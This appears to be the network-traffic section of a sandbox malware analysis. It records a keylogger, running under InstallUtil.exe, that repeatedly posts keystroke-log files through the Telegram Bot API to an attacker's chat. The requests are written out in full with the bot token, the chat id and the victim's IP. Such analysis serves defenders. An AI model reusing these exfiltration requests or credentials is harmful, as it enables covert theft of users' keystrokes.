Nov 15, 2024 09:10:22.094810963 CET	1236	IN	HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Methods: * Access-Control-Allow-Origin: * Content-Type: text/html;charset=utf-8 Date: Fri, 15 Nov 2024 08:10:21 GMT Server: Caddy Transfer-Encoding: chunked Data Raw: 34 36 66 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 47 2d 4c 36 4e 4b 54 35 47 36 44 37 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0a 20 20 20 20 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0a 0a 20 20 20 20 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 27 47 2d 4c 36 4e 4b 54 35 47 36 44 37 27 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e [TRUNCATED] Data Ascii: 46f8<!DOCTYPE html><html lang="en"> <head> <script async src="https://www.googletagmanager.com/gtag/js?id=G-L6NKT5G6D7"></script> <script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-L6NKT5G6D7'); </script> <script async src="https://fundingchoicesmessages.google.com/i/pub-8790158038613050?ers=1" nonce="a8sPTFY01S1bvA7Euc8gkg"></script><script nonce="a8sPTFY01S1bvA7Euc8gkg">(function() {function signalGooglefcPresent() {if (!window.frames['googlefcPresent']) {if (document.body) {const iframe = document.createElement('iframe'); iframe.style = 'width: 0; height: 0; border: none; z-index: -1000; left: -1000px; top: -1000px;'; iframe.style.display = 'none'; iframe.name = 'googlefcPresent'; document.body.appendChild(iframe);} else {setTimeout(signalGooglefcPresent, 0);}}}signalGooglefcPresent();})();</script> <script> (function(){'use strict';fun
Nov 15, 2024 09:10:22.094844103 CET	1236	IN	Data Raw: 63 74 69 6f 6e 20 61 61 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f Data Ascii: ction aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;
Nov 15, 2024 09:10:22.094861031 CET	1236	IN	Data Raw: 76 61 72 20 63 20 69 6e 20 62 29 69 66 28 22 70 72 6f 74 6f 74 79 70 65 22 21 3d 63 29 69 66 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 29 7b 76 61 72 20 64 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 Data Ascii: var c in b)if("prototype"!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c];a.A=b.prototype}function ma(){for(var a=Number(this),b=[],c=a;c<arguments.length;c++)b[c-a]=argu
Nov 15, 2024 09:10:22.094950914 CET	388	IN	Data Raw: 67 65 22 29 29 7c 7c 28 43 28 29 3f 41 28 22 4d 69 63 72 6f 73 6f 66 74 20 45 64 67 65 22 29 3a 42 28 22 45 64 67 2f 22 29 29 7c 7c 43 28 29 26 26 41 28 22 4f 70 65 72 61 22 29 29 3b 76 61 72 20 73 61 3d 7b 7d 2c 45 3d 6e 75 6c 6c 3b 76 61 72 20 Data Ascii: ge"))\|\|(C()?A("Microsoft Edge"):B("Edg/"))\|\|C()&&A("Opera"));var sa={},E=null;var ta="undefined"!==typeof Uint8Array,ua=!ra&&"function"===typeof btoa;var F="function"===typeof Symbol&&"symbol"===typeof Symbol()?Symbol():void 0,G=F?function(a,b
Nov 15, 2024 09:10:22.094966888 CET	1236	IN	Data Raw: 61 72 20 62 3d 48 28 61 29 3b 31 21 3d 3d 28 62 26 31 29 26 26 28 4f 62 6a 65 63 74 2e 69 73 46 72 6f 7a 65 6e 28 61 29 26 26 28 61 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 29 29 2c 49 28 61 2c 62 7c Data Ascii: ar b=H(a);1!==(b&1)&&(Object.isFrozen(a)&&(a=Array.prototype.slice.call(a)),I(a,b\|1))} var H=F?function(a){return a[F]\|0}:function(a){return a.g\|0},J=F?function(a){return a[F]}:function(a){return a.g},I=F?function(a,b){a[F]=b}:function(a
Nov 15, 2024 09:10:22.094983101 CET	1236	IN	Data Raw: 65 3d 61 2e 6c 65 6e 67 74 68 2c 66 3d 64 3b 66 3c 65 3b 66 2b 2b 29 7b 76 61 72 20 67 3d 61 5b 66 5d 3b 6e 75 6c 6c 21 3d 67 26 26 67 21 3d 3d 63 26 26 28 63 5b 66 2d 62 5d 3d 67 29 7d 61 2e 6c 65 6e 67 74 68 3d 64 2b 31 3b 61 5b 64 5d 3d 63 7d Data Ascii: e=a.length,f=d;f<e;f++){var g=a[f];null!=g&&g!==c&&(c[f-b]=g)}a.length=d+1;a[d]=c};function Aa(a){switch(typeof a){case "number":return isFinite(a)?a:String(a);case "boolean":return a?1:0;case "object":if(a&&!Array.isArray(a)&&ta&&null!=a&&a i
Nov 15, 2024 09:10:22.094999075 CET	424	IN	Data Raw: 28 65 2c 66 29 26 26 28 62 5b 66 5d 3d 63 28 65 5b 66 5d 29 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 44 61 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 69 66 28 6e 75 6c 6c 21 3d 61 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 Data Ascii: (e,f)&&(b[f]=c(e[f]))}return a}function Da(a,b,c,d,e,f){if(null!=a){if(Array.isArray(a))a=e&&0==a.length&&H(a)&1?void 0:f&&H(a)&2?a:Ea(a,b,c,void 0!==d,e,f);else if(N(a)){var g={},h;for(h in a)Object.prototype.hasOwnProperty.call(a,h)&&(g[h]=D
Nov 15, 2024 09:10:22.095088005 CET	1236	IN	Data Raw: 44 61 28 61 5b 68 5d 2c 62 2c 63 2c 64 2c 65 2c 66 29 3b 63 26 26 63 28 67 2c 61 29 3b 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 46 61 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 73 3d 3d 3d 4d 3f 61 2e 74 6f 4a 53 4f 4e 28 29 3a 41 61 28 Data Ascii: Da(a[h],b,c,d,e,f);c&&c(g,a);return a}function Fa(a){return a.s===M?a.toJSON():Aa(a)};function Ga(a,b,c){c=void 0===c?K:c;if(null!=a){if(ta&&a instanceof Uint8Array)return b?a:new Uint8Array(a);if(Array.isArray(a)){var d=H(a);if(d&2)return a;i
Nov 15, 2024 09:10:22.095103025 CET	212	IN	Data Raw: 26 26 49 28 67 2c 6b 29 3b 63 3d 6e 65 77 20 63 28 67 29 7d 65 6c 73 65 20 63 3d 76 6f 69 64 20 30 3b 65 6c 73 65 20 63 3d 67 3b 63 21 3d 3d 67 26 26 6e 75 6c 6c 21 3d 63 26 26 4b 61 28 65 2c 66 2c 62 2c 63 2c 64 29 3b 65 3d 63 3b 69 66 28 6e 75 Data Ascii: &&I(g,k);c=new c(g)}else c=void 0;else c=g;c!==g&&null!=c&&Ka(e,f,b,c,d);e=c;if(null==e)return e;a=a.h;f=J(a);f&2\|\|(g=e,c=g.h,h=J(c),g=h&2?Q(g.constructor,Ha(c,h,!1)):g,g!==e&&(e=g,Ka(a,f,b,e,d)));return e}functi
Nov 15, 2024 09:10:22.095119953 CET	1236	IN	Data Raw: 6f 6e 20 4e 61 28 61 2c 62 29 7b 61 3d 49 61 28 61 2c 62 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 7c 7c 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 61 3f 61 3a 76 6f 69 64 20 30 7d 0a 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 Data Ascii: on Na(a,b){a=Ia(a,b);return null==a\|\|"string"===typeof a?a:void 0} function Oa(a,b){a=Ia(a,b);return null!=a?a:0}function S(a,b){a=Na(a,b);return null!=a?a:""};function T(a,b,c){this.h=R(a,b,c)}T.prototype.toJSON=function(){var a=Ea(this
Nov 15, 2024 09:10:22.099881887 CET	1236	IN	Data Raw: 62 2c 30 2c 64 29 3b 62 3d 64 61 3b 66 26 26 28 62 2e 6c 65 6e 67 74 68 3d 64 29 3b 79 26 26 62 2e 70 75 73 68 28 79 29 3b 72 65 74 75 72 6e 20 62 7d 3b 66 75 6e 63 74 69 6f 6e 20 51 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 Data Ascii: b,0,d);b=da;f&&(b.length=d);y&&b.push(y);return b};function Qa(a){return function(b){if(null==b\|\|""==b)b=new a;else{b=JSON.parse(b);if(!Array.isArray(b))throw Error(void 0);G(b,32);b=Q(a,b)}return b}};function Ra(a){this.h=R(a)}n(Ra,T);var Sa=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49978	149.154.167.220	443	8124	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:11:23 UTC	556	OUT	POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 16469 Connection: Keep-Alive Cache-Control: no-cache
2024-11-15 08:11:23 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 61 6d 45 56 43 4c 71 77 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 33 3a 31 30 3a 30 37 5d 3c 3c 52 75 6e 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 30 3a 30 38 5d 3c 3c 52 75 6e 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 30 3a 30 38 5d 3c 3c 52 75 6e 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 30 3a 30 38 5d 3c 3c 52 75 6e 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 30 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataamEVCLqw.txt"Content-Type: application/octet-stream[03:10:07]<<Run>>[03:10:08]<<Run>>[03:10:08]<<Run>>[03:10:08]<<Run>>[03:10
2024-11-15 08:11:23 UTC	114	OUT	Data Raw: 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 32 31 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 32 31 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 2d 2d Data Ascii: er>>[03:11:21]<<Program Manager>>[03:11:21]<<Program Manager>>--3fbd04f5-b1ed-4060-99b9-fca7ff59c113--
2024-11-15 08:11:24 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 15 Nov 2024 08:11:24 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-15 08:11:24 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 32 34 30 37 37 32 35 30 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 6e 61 6b 65 2d 72 65 73 75 6c 74 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 64 6f 6e 6d 6f 6e 65 79 36 37 37 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 35 34 36 34 37 32 34 31 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 65 73 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 31 36 35 38 32 38 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 44 61 74 61 61 6d 45 56 43 4c 71 77 Data Ascii: {"ok":true,"result":{"message_id":5106,"from":{"id":7824077250,"is_bot":true,"first_name":"snake-results","username":"donmoney677bot"},"chat":{"id":7546472414,"first_name":"Best","type":"private"},"date":1731658284,"document":{"file_name":"KeyDataamEVCLqw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49979	149.154.167.220	443	8124	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:11:26 UTC	554	OUT	POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 568 Connection: Keep-Alive Cache-Control: no-cache
2024-11-15 08:11:26 UTC	568	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 48 6e 6f 59 73 50 4e 46 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 32 33 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 32 33 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 32 33 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataHnoYsPNF.txt"Content-Type: application/octet-stream[03:11:23]<<Program Manager>>[03:11:23]<<Program Manager>>[03:11:23]<<Program Mana
2024-11-15 08:11:27 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 15 Nov 2024 08:11:26 GMT Content-Type: application/json Content-Length: 533 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-15 08:11:27 UTC	533	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 30 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 32 34 30 37 37 32 35 30 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 6e 61 6b 65 2d 72 65 73 75 6c 74 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 64 6f 6e 6d 6f 6e 65 79 36 37 37 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 35 34 36 34 37 32 34 31 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 65 73 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 31 36 35 38 32 38 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 44 61 74 61 48 6e 6f 59 73 50 4e 46 Data Ascii: {"ok":true,"result":{"message_id":5107,"from":{"id":7824077250,"is_bot":true,"first_name":"snake-results","username":"donmoney677bot"},"chat":{"id":7546472414,"first_name":"Best","type":"private"},"date":1731658286,"document":{"file_name":"KeyDataHnoYsPNF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49980	149.154.167.220	443	8124	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:11:29 UTC	554	OUT	POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 601 Connection: Keep-Alive Cache-Control: no-cache
2024-11-15 08:11:29 UTC	601	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 55 57 75 4c 70 54 70 63 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 32 35 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 32 35 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 32 36 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataUWuLpTpc.txt"Content-Type: application/octet-stream[03:11:25]<<Program Manager>>[03:11:25]<<Program Manager>>[03:11:26]<<Program Mana
2024-11-15 08:11:29 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 15 Nov 2024 08:11:29 GMT Content-Type: application/json Content-Length: 533 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-15 08:11:29 UTC	533	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 32 34 30 37 37 32 35 30 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 6e 61 6b 65 2d 72 65 73 75 6c 74 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 64 6f 6e 6d 6f 6e 65 79 36 37 37 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 35 34 36 34 37 32 34 31 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 65 73 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 31 36 35 38 32 38 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 44 61 74 61 55 57 75 4c 70 54 70 63 Data Ascii: {"ok":true,"result":{"message_id":5108,"from":{"id":7824077250,"is_bot":true,"first_name":"snake-results","username":"donmoney677bot"},"chat":{"id":7546472414,"first_name":"Best","type":"private"},"date":1731658289,"document":{"file_name":"KeyDataUWuLpTpc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49981	149.154.167.220	443	8124	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:11:32 UTC	554	OUT	POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 601 Connection: Keep-Alive Cache-Control: no-cache
2024-11-15 08:11:32 UTC	601	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 4f 62 42 4c 50 46 6a 4e 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 32 38 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 32 38 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 32 38 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataObBLPFjN.txt"Content-Type: application/octet-stream[03:11:28]<<Program Manager>>[03:11:28]<<Program Manager>>[03:11:28]<<Program Mana
2024-11-15 08:11:32 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 15 Nov 2024 08:11:32 GMT Content-Type: application/json Content-Length: 533 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-15 08:11:32 UTC	533	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 30 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 32 34 30 37 37 32 35 30 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 6e 61 6b 65 2d 72 65 73 75 6c 74 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 64 6f 6e 6d 6f 6e 65 79 36 37 37 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 35 34 36 34 37 32 34 31 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 65 73 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 31 36 35 38 32 39 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 44 61 74 61 4f 62 42 4c 50 46 6a 4e Data Ascii: {"ok":true,"result":{"message_id":5109,"from":{"id":7824077250,"is_bot":true,"first_name":"snake-results","username":"donmoney677bot"},"chat":{"id":7546472414,"first_name":"Best","type":"private"},"date":1731658292,"document":{"file_name":"KeyDataObBLPFjN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49982	149.154.167.220	443	8124	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:11:35 UTC	554	OUT	POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 568 Connection: Keep-Alive Cache-Control: no-cache
